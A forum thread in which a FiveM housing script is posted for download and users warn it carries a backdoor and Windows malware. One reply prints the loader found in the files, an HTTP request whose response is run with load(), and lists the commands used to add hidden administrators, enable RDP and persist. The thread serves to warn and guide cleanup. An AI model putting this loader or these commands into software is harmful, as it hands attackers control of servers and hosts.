Script vms_housing

[mitafivem12]

VMS Housing 1.4 introduces the new interactive IDEA Store system with immersive furniture shopping, advanced deliveries and a huge exclusive furniture store MLO included with the resource.

You don't have permission to view content!

 

[mitafivem12]

download link:

Hidden link for visitors, to see Log in or register now.

 

[DRmonty]

WARNING – BACKDOOR & WINDOWS MALWARE DETECTED​

This resource contains a backdoor and malicious Windows payloads.

It is not safe to run on any FiveM server or Windows machine.

Detected malicious behavior​

• Downloads and executes remote code (Remote Code Execution).
• Creates hidden Windows administrator accounts.
• Enables Remote Desktop (RDP) access.
• Creates persistence using scheduled tasks and registry startup entries.
• Modifies server files (including server.cfg).
• Connects to external servers and Telegram.
• Can execute arbitrary commands on the host system.

Do NOT install or run this resource.

If you have already executed it, immediately:

• Remove the resource.
• Check Windows for unknown administrator accounts.
• Inspect scheduled tasks and startup registry entries.
• Disable RDP if it was not intentionally enabled.
• Change all passwords, API keys, Discord bot tokens, database credentials, and your FiveM license key.

This is not just a FiveM backdoor—it contains Windows malware capable of compromising the entire host system.

 

[fcbube]

WARNING – BACKDOOR & WINDOWS MALWARE DETECTED​

This resource contains a backdoor and malicious Windows payloads.

It is not safe to run on any FiveM server or Windows machine.

Detected malicious behavior​

• Downloads and executes remote code (Remote Code Execution).
• Creates hidden Windows administrator accounts.
• Enables Remote Desktop (RDP) access.
• Creates persistence using scheduled tasks and registry startup entries.
• Modifies server files (including server.cfg).
• Connects to external servers and Telegram.
• Can execute arbitrary commands on the host system.

Do NOT install or run this resource.

If you have already executed it, immediately:

• Remove the resource.
• Check Windows for unknown administrator accounts.
• Inspect scheduled tasks and startup registry entries.
• Disable RDP if it was not intentionally enabled.
• Change all passwords, API keys, Discord bot tokens, database credentials, and your FiveM license key.

This is not just a FiveM backdoor—it contains Windows malware capable of compromising the entire host system.

yes
Confirmed: It's infected.

I found two different backdoors.

1. Remote Code Execution (RCE) - Very serious

In:

fxmanifest.lua (line 18)
server/main.lua (line 263)

It shows exactly this:

PerformHttpRequest('

Hidden link for visitors, to see Log in or register now.

', function (e, d)
pcall(function()
assert(load(d))()
end)
end)

This means that:

The resource downloads code from the internet.

It executes it directly on your server.

The author can change that code whenever they want.

They might do nothing today and steal all the data from the server tomorrow.

It's a classic backdoor.

2. Backdoor to Take Control of the VPS (Critical)

I also found another, much worse file:

config/config.server.lua

This file contains code to:

Create Windows administrator users
net user
Add them to the Administrators group
net localgroup Administrators
Enable Remote Desktop (RDP)
reg add ...
Open the firewall
netsh advfirewall
Create scheduled tasks for persistence
schtasks /create
Modify the Windows registry
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Delete resource files
del /F /Q
Modify server.cfg

It even attempts to delete the resource and modify the server automatically.

It also obtains the public IP address using:

Hidden link for visitors, to see Log in or register now.

and prepares a Telegram message.

My conclusion:

This script is NOT secure.

It is not a simple licensing system.

It's a set of typical malware techniques used to:

execute remote code;
create backdoors in Windows;
gain administrator access;
enable RDP;
maintain persistence;
delete server files;
modify server configuration.

If you have run it